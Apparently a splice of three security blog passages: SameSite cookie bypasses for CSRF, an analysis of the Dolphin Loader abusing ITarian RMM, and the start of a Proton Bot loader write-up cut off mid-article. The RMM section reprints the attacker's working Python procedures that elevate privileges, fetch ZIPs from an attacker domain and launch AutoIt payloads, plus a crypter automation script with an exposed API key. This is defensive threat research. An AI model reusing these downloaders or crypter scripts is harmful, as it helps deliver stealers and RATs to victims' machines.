Figure 1 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting
The only way around this would be if the attacker could somehow get the application to trigger a forged request to itself.
Fault 4
Consider that the application features some JavaScript for initiating client-side requests, such as a redirect that also accepts user input to determine its location. If an attacker could supply a URL with a state-changing action to this feature, the state-changing action would be sent within the same-site context, as it would be redirected from the application itself.
Figure 2 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ settingFigure 3 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as the action was sent within the same-site context via the client-side redirect
As demonstrated in figures 2-3, delivering the state-changing action directly to the victim results in the request being denied. However, including the action within a client-side redirect beforehand bypasses the protection offered by ‘SameSite=Strict’ cookies. Be cautious of client-side features like this in your codebase. It’s also not impossible that these may directly include CSRF tokens, rendering even synchronizer-token defenses ineffective.
To emphasize, this only works with client-side / DOM-based redirects. A state-changing action passed through a traditional 302 server-side redirect with a set “Location” header wouldn’t be treated as same-site. Welcome to the era of “client-side CSRF”.
Observation
What if the application lacks abusable client-side code but is vulnerable to direct JavaScript injection, meaning there is a cross-site scripting (XSS) vulnerability?
I’ve seen multiple claimed “XSS to CSRF” chains and scenarios, often implying that the former enables the latter, but this is incorrect.
If an attacker has control over the JavaScript, then they also have control over same-site request sending. This means that any forged requests via an XSS vulnerability will result in these requests originating from the application. Cross-site request sending at this point is not needed nor enabled.
Being vulnerable to XSS is a bigger problem.
Even with synchronizer tokens in place, an attacker can use the injected JavaScript to simply read the tokens and use them in same-site AJAX requests.
Keep in mind that although the targeted application is free from abusable client-side code and XSS vulnerabilities, these issues can still exist on subdomains and different ports. Requests from these sources will be same-site even though they are not same-origin.
Lax
When the SameSite attribute is set to Lax, the browser will send the cookie for same-site requests and cross-site requests that are considered “safe”. These are GET requests initiated by a user’s top-level navigation (e.g., clicking on a hyperlink). The cookie will not be sent for cross-site requests initiated by third-party sites, such as POST requests via AJAX.
This means that similarly to ‘Strict’, ‘Lax’ would also deny the following scenario:
Figure 4 – adversary-issued POST action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Lax’ setting
But, in contrast, it would allow:
Figure 5 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as it was a GET request initiated by a user’s top-level navigation
Fault 5
As with ‘Strict’, we must be cautious of all client-side JavaScript functionalities, but also any state-changing actions that can be performed via the GET request method. During testing, we find it common that the request method can simply be rewritten into a GET from a POST, rendering any ‘SameSite=Lax’ protections ineffective, provided that no other CSRF defenses are in place.
The “Lax + POST” intervention
Chrome automatically sets the SameSite attribute to ‘Lax’ for cookies that don’t have this attribute explicitly defined. Compared to a manually set ‘Lax’ value, Chrome’s defaulting to ‘Lax’ comes with temporary exception: a two-minute time window where cross-site POST requests are permitted. This intervention is to account for some POST-based login flows, such as certain single sign-on implementations.
Fault 6
If both the attacker and the targeted victim act quickly on a “Lax + POST” intervention, exploitation becomes possible within this brief time window.
A more realistic scenario, however, would be if the attacker somehow could force the application to first issue the victim a new cookie, renewing the two-minute window, and then incorporating the renewal into a regular cross-site POST exploit.
None
Setting the SameSite attribute to ‘None’ allows the cookie to be sent with all requests, including cross-site requests. While there are valid reasons to set a ‘None’ value, protecting against CSRF attacks is not one of them. Exercise caution when using ‘None’ values in this context.
Note that for ‘None’ to be explicitly set, the secure attribute must also be set on the cookie.
A few days ago I was looking at the sample from Dolphin Loader and couldn’t understand for awhile how it was able to retrieve the final payload because the payload was not able to fully complete the execution chain. Recently someone sent me a fresh working sample, so I had a little “hell yeah!” moment.
Before looking into the abuse of ITarian RMM software, we should talk a little bit about Dolphin Loader.
Dolphin Loader is a new Malware-as-a-Service loader that first went on sale in July 2024 on Telegram. The loader has been observed to deliver various malware such as SectopRAT, LummaC2 and Redline via drive-by downloads.
The Dolphin Loader claims to bypass SmartScreen because it is signed with an EV (Extended Validation) certificate, Chrome alert and EDR. The seller also offers EasyCrypt services for LummaC2 Stealer users. EasyCrypt, also known as EasyCrypter, is a crypter service sold on Telegram for x86 .NET/Native files. I previously wrote a Yara rule for the crypter for UnprotectProject, which you can access here.
The loader has the following pricing:
3 slots MSI (Weekly access) – $1800
2 slots MSI (Monthly access) – $5400
1 slot EXE (Monthly access) – $7200
The executable files are highly priced compared to MSI packaging files. What makes executable file more attractive is likely that executable files can be easily packed and compressed compared to MSI files and that users are more accustomed to executable files. The familiarity can make users more likely to trust and execute an an executable file, even if it is from an untrusted source. Also, executables files are standalone and can be executed directly without requiring any additional software or scripts.
Some of the Dolphin Loader payloads currently have zero detections on VirusTotal. Why? Because it uses legitimate, EV-signed remote management software to deliver the final payload. This approach is very convenient for the loader’s developer because it eliminates the need to obtain an EV certificate and end up paying a significant amount of money out-of-pocket. Leveraging legitimate RMM software to deliver malware also offers numerous advantages:
Since RMM tools are meant to run quietly in the background because they monitor and manage systems, malware leveraging these tools can operate stealthily, avoiding detection by users.
RMM tools already include features for remote command or script execution, system monitoring, and data exfiltration. Attackers can use these built-in functionalities to control compromised systems.
Organizations trust their RMM solutions for IT operations. This trust can be exploited by attackers to deliver malware without raising immediate suspicion from users or IT staff.
The Abuse of ITarian RMM
Initially I was going with the theory of the DLL side-loading with the MSI payload (MD5: a2b4081e6ac9d7ff9e892494c58d6be1) and specifically with the ITarian agent but had no luck of finding the tampered file. So, the second theory is that the loader is leveraging an RMM software based on the process tree from one of the public samples.
So, the sample provided to me, helped to confirm the second theory because the threat actor used the same name richardmilliestpe for the MSI payload distribution link and for the RMM instance:
Distribution link: hxxps://houseofgoodtones.org/richardmilliestpe/Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64[.]msi
Out of curiosity, I decided to get the ITarian RMM, which is available for free but with limited functionalities (just the one that we need 🙂 ). We are particularly interested in Procedures. In ITarian endpoint management you can create a custom procedure to run on the registered devices.
Then you can leverage Windows Script Procedure option to create a custom script. The purpose of my script was to pop the calculator up. Based from my observation, the script can only be written in Python. I did not see the PowerShell option available but you can leverage Python to run PowerShell scripts.
You can then configure when you would want the script to run – one time, daily, weekly or monthly. The “Run this procedure immediately when the profile is assigned to a new device” option is likely what the threat actor had.
After setting the script up successfully and assigning it to the proper group or customer, I went ahead and retrieved the link to download an MSI installer for ITarian RMM client via device enrollment option.
The downloaded MSI file would be approximately 96MB in size and the naming convention would be similar to the following, where “raeaESpJ” is the token value:
em_raeaESpJ_installer_Win7-Win11_x86_x64
After the successful installation of the software, the dependencies and files will be dropped under either C:\Program Files (x86)\ITarian or C:\Program Files\COMODO, the token.ini file (the file is deleted after successfully retrieving the instance address) contains the token value that the client will use to obtain the instance address, for example zeus14-msp.itsm-us1.comodo.com (from the testing case above).
For blue teamers while looking for suspicious activities for ITarian RMM client, you should look for the contents of the RmmService.log file under ITarian\Endpoint Manager\rmmlogs or COMODO\Endpoint Manager\rmmlogs. The log file would provide great insights into what procedures or scripts were ran on the host and their configurations.
From the screenshot above we can see the repeat: NEVER, which means that the script will only run one time when the endpoint device is enrolled.
Now let’s inspect the log file from our malicious sample. We can see two scripts present.
The first script is named “st3”, executes only once – when the device is first registered.
msgScheduledTaskList {
scheduledTaskId: "scheduled_5"
msgSchedule {
repeat: NEVER
start: 1723161600
time: "17:15"
}
msgProcedureSet {
procedureSetId: "473"
alertHandlerId: "1"
msgProcedureList {
procedureId: "473"
pluginType: Python_Procedure
msgProcedureRule {
name: "st3"
script: "import os\nimport urllib\nimport zipfile\nimport subprocess\nimport time\nimport shutil\nimport ctypes\nimport sys\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef is_admin():\n try:\n return ctypes.windll.shell32.IsUserAnAdmin()\n except:\n return False\n\ndef run_as_admin(command, params):\n try:\n if not is_admin():\n # Restart the script with admin rights\n params = \' \'.join(params)\n print(\"Restarting script with admin rights...\")\n ctypes.windll.shell32.ShellExecuteW(None, \"runas\", command, params, None, 1)\n sys.exit(0)\n else:\n print(\"Running command with admin rights:\", command, params)\n result = subprocess.call([command] + params, shell=True)\n if result != 0:\n print(\"Command failed with return code:\", result)\n else:\n print(\"Command executed successfully.\")\n except Exception as e:\n print(\"Failed to elevate to admin. Error:\", e)\n sys.exit(1)\n\ndef download_file(url, save_path):\n try:\n request = urllib.urlopen(url)\n with open(save_path, \'wb\') as f:\n while True:\n chunk = request.read(100 * 1000 * 1000)\n if not chunk:\n break\n f.write(chunk)\n print(\"File downloaded successfully and saved to {}.\".format(save_path))\n # Check file size\n file_size = os.path.getsize(save_path)\n print(\"Downloaded file size: {} bytes.\".format(file_size))\n except Exception as e:\n print(\"Error downloading file: \", e)\n sys.exit(1)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully to {}\".format(extract_to))\n except zipfile.BadZipFile:\n print(\"File is not a valid zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n sys.exit(1)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n print(\"Removed file: {}\".format(file_path))\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n print(\"Removed folder: {}\".format(folder_path))\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n command = sys.executable\n params = sys.argv\n\n run_as_admin(command, params)\n\n zip_url = \'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File exists after download.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n # \331\205\330\263\333\214\330\261 \332\251\330\247\331\205\331\204 \330\250\331\207 AutoIt3.exe \331\210 script.a3x \331\276\330\263 \330\247\330\262 \330\247\330\263\330\252\330\256\330\261\330\247\330\254\n autoit_path = os.path.join(extract_to, \'AutoIt3.exe\')\n script_path = os.path.join(extract_to, \'script.a3x\')\n\n print(\"Running command...\")\n if os.path.exists(autoit_path) and os.path.exists(script_path):\n run_as_admin(autoit_path, [script_path])\n else:\n print(\"Error: AutoIt3.exe or script.a3x not found after extraction.\")\n\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: true
requiredInternet: false
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
We will quickly clean up the script:
import os
import urllib
import zipfile
import subprocess
import time
import shutil
import ctypes
import sys
classDisableFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defis_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except Exception:
return False
defrun_as_admin(command, params):
try:
ifnot is_admin():
print("Restarting script with admin rights...")
params = ' '.join(params)
ctypes.windll.shell32.ShellExecuteW(None, "runas", command, params, None, 1)
sys.exit(0)
else:
print("Running command with admin rights:", command, params)
result = subprocess.call([command] + params, shell=True)
if result != 0:
print("Command failed with return code:", result)
else:
print("Command executed successfully.")
except Exception as e:
print("Failed to elevate to admin. Error:", e)
sys.exit(1)
defdownload_file(url, save_path):
try:
request = urllib.urlopen(url)
with open(save_path, 'wb') as f:
while True:
chunk = request.read(100 * 1000 * 1000) # 100 MB chunks
ifnot chunk:
break
f.write(chunk)
print("File downloaded successfully and saved to {}.".format(save_path))
file_size = os.path.getsize(save_path)
print("Downloaded file size: {} bytes.".format(file_size))
except Exception as e:
print("Error downloading file:", e)
sys.exit(1)
defunzip_file(zip_path, extract_to):
try:
with DisableFileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully to {}".format(extract_to))
except zipfile.BadZipFile:
print("File is not a valid zip file")
except Exception as e:
print("Error extracting file:", e)
sys.exit(1)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
print("Removed file: {}".format(file_path))
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
print("Removed folder: {}".format(folder_path))
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
command = sys.executable
params = sys.argv
run_as_admin(command, params)
zip_url = 'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File exists after download.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
autoit_path = os.path.join(extract_to, 'AutoIt3.exe')
script_path = os.path.join(extract_to, 'script.a3x')
print("Running command...")
if os.path.exists(autoit_path) and os.path.exists(script_path):
run_as_admin(autoit_path, [script_path])
else:
print("Error: AutoIt3.exe or script.a3x not found after extraction.")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
From the script above we can observe the following:
The script initially checks if it is executing with administrative privileges by utilizing the IsUserAnAdmin() function from the Windows API. If it detects that it is running without these privileges, it attempts to restart itself with elevated rights. This elevation process is achieved by invoking the ShellExecuteW function from the Windows Shell API, using the “runas”. This prompts the User Account Control (UAC) to ask the user for permission to run the script as an administrator.
The script retrieves a ZIP archive from comodozeropoint.com/Updates/1736162964/23/Salome[.]zip, extracts the content of the archive (an AutoIt executable and the malicious script name script.a3x) under the %TEMP% folder and executes an AutoIt file. We will look at the obfuscation of the AutoIt scripts later in this blog.
After the execution of the AutoIt file, the script sleeps for a minute before removing the ZIP archive and the extracted files.
The content of the second is the following, note that the name of the procedure is “Dolphin1” and the procedure is repeated on a daily basis:
msgScheduledTaskList {
scheduledTaskId: "scheduled_6"
msgSchedule {
repeat: DAILY
start: 1723334400
time: "20:30"
}
msgProcedureSet {
procedureSetId: "475"
alertHandlerId: "1"
msgProcedureList {
procedureId: "475"
pluginType: Python_Procedure
msgProcedureRule {
name: "Dolphin1"
script: "import os\nimport urllib2\nimport zipfile\nimport subprocess\nimport shutil\nimport ctypes\nimport time\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef download_file(url, save_path):\n try:\n headers = {\'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\'}\n request = urllib2.Request(url, headers=headers)\n response = urllib2.urlopen(request)\n with open(save_path, \'wb\') as f:\n f.write(response.read())\n print(\"File downloaded successfully.\")\n except urllib2.HTTPError as e:\n print(\"HTTP Error: \", e.code)\n except urllib2.URLError as e:\n print(\"URL Error: \", e.reason)\n except Exception as e:\n print(\"Error downloading file: \", e)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully.\")\n except zipfile.BadZipfile:\n print(\"File is not a zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n\ndef run_command(command, cwd):\n try:\n proc = subprocess.Popen(command, shell=True, cwd=cwd)\n proc.communicate()\n except Exception as e:\n print(\"Error running command: \", e)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n zip_url = \'http://comodozeropoint.com/Requests/api/Core.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File downloaded successfully.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n print(\"Running command...\")\n command = \'AutoIt3.exe script.a3x\'\n run_command(command, extract_to)\n\n print(\"Waiting for 1 minute before cleanup...\")\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: false
requiredInternet: true
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
The cleaned-up Python script:
import os
import urllib.request
import zipfile
import subprocess
import shutil
import ctypes
import time
classFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
return self.success
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defdownload_file(url, save_path):
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
request = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(request)
with open(save_path, 'wb') as f:
f.write(response.read())
print("File downloaded successfully.")
except urllib.error.HTTPError as e:
print("HTTP Error:", e.code)
except urllib.error.URLError as e:
print("URL Error:", e.reason)
except Exception as e:
print("Error downloading file:", e)
defunzip_file(zip_path, extract_to):
try:
with FileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully.")
except zipfile.BadZipFile:
print("File is not a zip file")
except Exception as e:
print("Error extracting file:", e)
defrun_command(command, cwd):
try:
proc = subprocess.Popen(command, shell=True, cwd=cwd)
proc.communicate()
except Exception as e:
print("Error running command:", e)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
zip_url = 'http://comodozeropoint.com/Requests/api/Core.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File downloaded successfully.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
print("Running command...")
command = 'AutoIt3.exe script.a3x'
run_command(command, extract_to)
print("Waiting for 1 minute before cleanup...")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
This script differs from the initial Python script by constructing an HTTP request with an explicitly set User-Agent header, and it retrieves a ZIP archive that is different from the first Python script.
While I was researching the commands sent to the RMM server, I stumbled upon TrendMicro blog that mentioned the RMM abuse.
AutoIt Analysis
Extracting the Salome.zip file, we notice a malicious AutoIt script named “script.a3x” and the AutoIt executable. Using AutoIt script decompiler, we can get the insight into what the script is actually doing.
The encrypt function shown in the screenshot above takes a hexadecimal string and a key wkxltyejh, and decrypts the data using a custom method (I know, the function name is deceiving). It begins by converting the hex string into binary data. Then, it computes an altered key by XORing the ordinal value of each character in the key with the key’s length. The altered key is then used to decrypt the binary data byte by byte, so each byte of the data is XORed with the altered key, and then bitwise NOT is then applied to invert the bits.
The decrypted strings are responsible for changing the protection on a region of memory to PAGE_EXECUTE_READWRITE and loading the payload into the memory. The script also leverages the EnumWindows callback function thanks to DllCall function, which allows the script to interact directly with Windows DLL, to execute malicious code, using a function pointer that directs to the payload.
One of the payloads extracted from the AutoIt script is DarkGate. The XOR key wkxltyejh is also used as a marker to split up the DarkGate loader, the final payload (SectopRAT) and the DarkGate encrypted configuration. Interestingly enough, the DarkGate configuration is not encoded with custom-base64 alphabet like in the previous samples and is rather encrypted with the XOR algorithm described above.
Here is the Python script to decrypt the data:
defdecrypt(data, key):
value = bytes.fromhex(data)
key_length = len(key)
encrypted = bytearray()
key_alt = key_length
for char in key:
key_alt = key_alt ^ ord(char)
for byte in value:
encrypted_byte =~(byte ^ key_alt) & 0xFF
encrypted.append(encrypted_byte)
return encrypted
enc_data = "" # Encrypted data
enc_key = "" # XOR key
dec_data = decrypt(enc_data, enc_key)
print(f"Decrypted data: {dec_data}")
The DarkGate configuration:
2=RrZBXNXw - xor key
0=Dolphin2 - campaign ID
1=Yes - Process Hollowing injection enabled
3=Yes - PE injection (MicrosoftEdgeUpdate or msbuild.exe) (0041A9A8)
5=No - process injection via Process Hollowing with nCmdShow set to SW_HIDE
6=No - pesistence via registry run key
7=No - VM check (1)
8=No - VM check (2)
9=No - Check Disk Space
10=100 - minimum disk size
11=No - Check RAM
12=4096 - minimum RAM size
13=No - check Xeon
14=This is optional
15=Yes
16=No
18=Yes
Let’s take a brief look at the DarkGate sample. This sample is slightly different from other ones because this sample is lacking some features like credential stealing, AV detection, screenshot capture, etc. This sample only has the capabilities to inject the final payload into another process and that’s pretty much it.
The loader checks if it’s running with an argument “script.a3x” and if it’s not the loader displays an “Executing manually will not work” to the user and terminates itself. If the loader fails to read “script.a3x”, the message box “no data” will be displayed. So, make sure to add script.a3x as an argument in the debugger.
The second malicious AutoIt script from “Core.zip” drops the Rhadamanthys stealer.
The DarkGate configuration for the second payload is similar to the previous one.
The Power of Opendir
So, I’ve noticed that there is an open directory at comodozeropoint[.]com/Updates/, which belongs to the Dolphin Loader developer. I found a script hosted on that domain called “updater.py” particularly interesting:
import os
import configparser
import requests
import pyminizip
import pyzipper
import schedule
import time
encryption_api_key = "h8dbOGTYLrFLplwiNZ1BLl3MhnpZCmJY"
encryption_server_address_packlab = "http://194.87.219.118/crypt"
encryption_server_address_easycrypt = "http://another.server.address/crypt"
api_url = "https://apilumma1.fun/v1/downloadBuild"
defread_autocrypt_ini(file_path):
config = configparser.ConfigParser()
temp_config_path = file_path + ".tmp"
with open(file_path, 'r') as original_file, open(temp_config_path, 'w') as temp_file:
for line in original_file:
line = line.split('#')[0].strip()
if line:
temp_file.write(line + '\n')
config.read(temp_config_path)
os.remove(temp_config_path)
settings = {
'auto_crypt': config.getboolean('Settings', 'auto_crypt', fallback=False),
'auto_crypt_time': config.getint('Settings', 'auto_crypt_time', fallback=0),
'crypt_service': config.get('Settings', 'crypt_service', fallback=''),
'lumma_stealer': config.getboolean('Settings', 'lumma_stealer', fallback=False),
'lumma_api_key': config.get('Settings', 'lumma_api_key', fallback=''),
'lumma_build_zip_password': config.get('Settings', 'lumma_build_zip_password', fallback=''),
'filename': config.get('Settings', 'filename', fallback=''),
'chatid': config.get('Settings', 'chatid', fallback='')
}
return settings
defdownload_and_extract_zip(api_url, api_key, save_path, zip_password, filename):
url = f'{api_url}?access_token={api_key}'
response = requests.get(url)
zip_file_path = os.path.join(save_path, f'{filename}.zip')
with open(zip_file_path, 'wb') as f:
f.write(response.content)
with pyzipper.AESZipFile(zip_file_path, 'r') as zip_ref:
zip_ref.extractall(path=save_path, pwd=zip_password.encode('utf-8'))
os.remove(zip_file_path)
print(f"Downloaded and extracted files to: {save_path}")
# پیدا کردن فایل استخراج شده
extracted_file_path = None
for file in os.listdir(save_path):
if file.endswith('.exe'):
extracted_file_path = os.path.join(save_path, file)
breakifnot extracted_file_path:
raise FileNotFoundError(f"Extracted file not found in: {save_path}")
return extracted_file_path
defencrypt_file(input_path, service):
try:
with open(input_path, 'rb') as file:
files = {'build.exe': file}
headers = {'Authorization': encryption_api_key}
if service == 'Packlab':
response = requests.post(encryption_server_address_packlab, headers=headers, files=files)
elif service == 'Easycrypt':
response = requests.post(encryption_server_address_easycrypt, headers=headers, files=files)
if response.status_code == 200:
return response.content
else:
raise Exception(f"Error: {response.status_code}, {response.text}")
except requests.exceptions.RequestException as e:
raise Exception(f"An error occurred: {e}")
defcreate_encrypted_zip(file_path, save_path, filename, password):
zip_file_path = os.path.join(save_path, f'{filename}.zip')
pyminizip.compress(file_path, None, zip_file_path, password, 5)
print(f"Encrypted zip file created at: {zip_file_path}")
defprocess_user_folders(root_folder):
for user_folder in os.listdir(root_folder):
user_folder_path = os.path.join(root_folder, user_folder)
if os.path.isdir(user_folder_path):
for slot_folder in os.listdir(user_folder_path):
slot_folder_path = os.path.join(user_folder_path, slot_folder)
if os.path.isdir(slot_folder_path):
ini_file_path = os.path.join(slot_folder_path, 'autocrypt.ini')
if os.path.exists(ini_file_path):
settings = read_autocrypt_ini(ini_file_path)
ifnot settings['auto_crypt']:
print(f"Skipping {slot_folder_path} because auto_crypt is False")
continuetry:
if settings['lumma_stealer']:
extracted_file_path = download_and_extract_zip(api_url, settings['lumma_api_key'], slot_folder_path, settings['lumma_build_zip_password'], settings['filename'])
else:
raise Exception("Lumma stealer is disabled")
except Exception as e:
print(f"Error with Lumma stealer: {e}")
last_build_folder = os.path.join(slot_folder_path, '__LASTBUILD__')
if os.path.isdir(last_build_folder):
for file in os.listdir(last_build_folder):
if file.endswith('.exe'):
extracted_file_path = os.path.join(last_build_folder, file)
breakelse:
print(f"No executable found in {last_build_folder}")
continueelse:
print(f"No __LASTBUILD__ folder found in {slot_folder_path}")
continueif settings['crypt_service'] == 'Packlab':
encrypted_file_content = encrypt_file(extracted_file_path, 'Packlab')
elif settings['crypt_service'] == 'Easycrypt':
encrypted_file_content = encrypt_file(extracted_file_path, 'Easycrypt')
else:
print(f"Unknown crypt_service: {settings['crypt_service']}")
continue# ذخیره فایل رمزنگاری شده
encrypted_file_path = os.path.join(slot_folder_path, f'{settings["filename"]}.exe')
with open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(encrypted_file_content)
print(f"Encrypted file saved to: {encrypted_file_path}")
# ایجاد فایل زیپ رمزنگاری شده
create_encrypted_zip(encrypted_file_path, slot_folder_path, settings['filename'], settings['chatid'])
defjob():
input_folder = r'C:\xampp\htdocs\Updates' # Change this to your input folder path
process_user_folders(input_folder)
if __name__ == "__main__":
# اجرای اولیه برنامه
job()
# زمانبندی اجرای هر 3 ساعت یکبار
schedule.every(1).hours.do(job)
while True:
schedule.run_pending()
time.sleep(1)
So, if you recall from the Telegram ads about the Dolphin Loader mentioned earlier in this article, the developer offers free AutoCrypt every hour. This script is responsible for that. The developer uses Packlab and Easycrypt crypter services to encrypt LummaC2 payloads through APIs.
The autocrypt.ini file contains the LummaC2 payload generation settings:
It was interesting to see developers leveraging legitimate Remote Monitoring and Management (RMM) tools to distribute malware with minimal effort yet demanding substantial fees for the product.
Blue teamers should monitor for the execution of suspicious AutoIt scripts and process injections targeting RegAsm.exe, msbuild.exe, MicrosoftEdgeUpdate.exe, and updatecore.exe, especially when these processes originate from RMM tools as parent processes. Additionally, it’s important to examine the log files of RMM tools for any metadata that could suggest malicious activity.
Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with “loader” tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.
Since a few months, another dedicated loader malware appears from multiple sources with the name of “Proton Bot” and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.
Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it’s worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux & Decrux.
[Disclamer: This article is not a deep in-depth analysis]
Something that I am finally glad by reversing this malware is that I’m not in pain for unpacking a VM protected sample. By far this is the “only one” that I’ve analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.
So seeing finally a clean PE is some kind of heaven.
Behavior
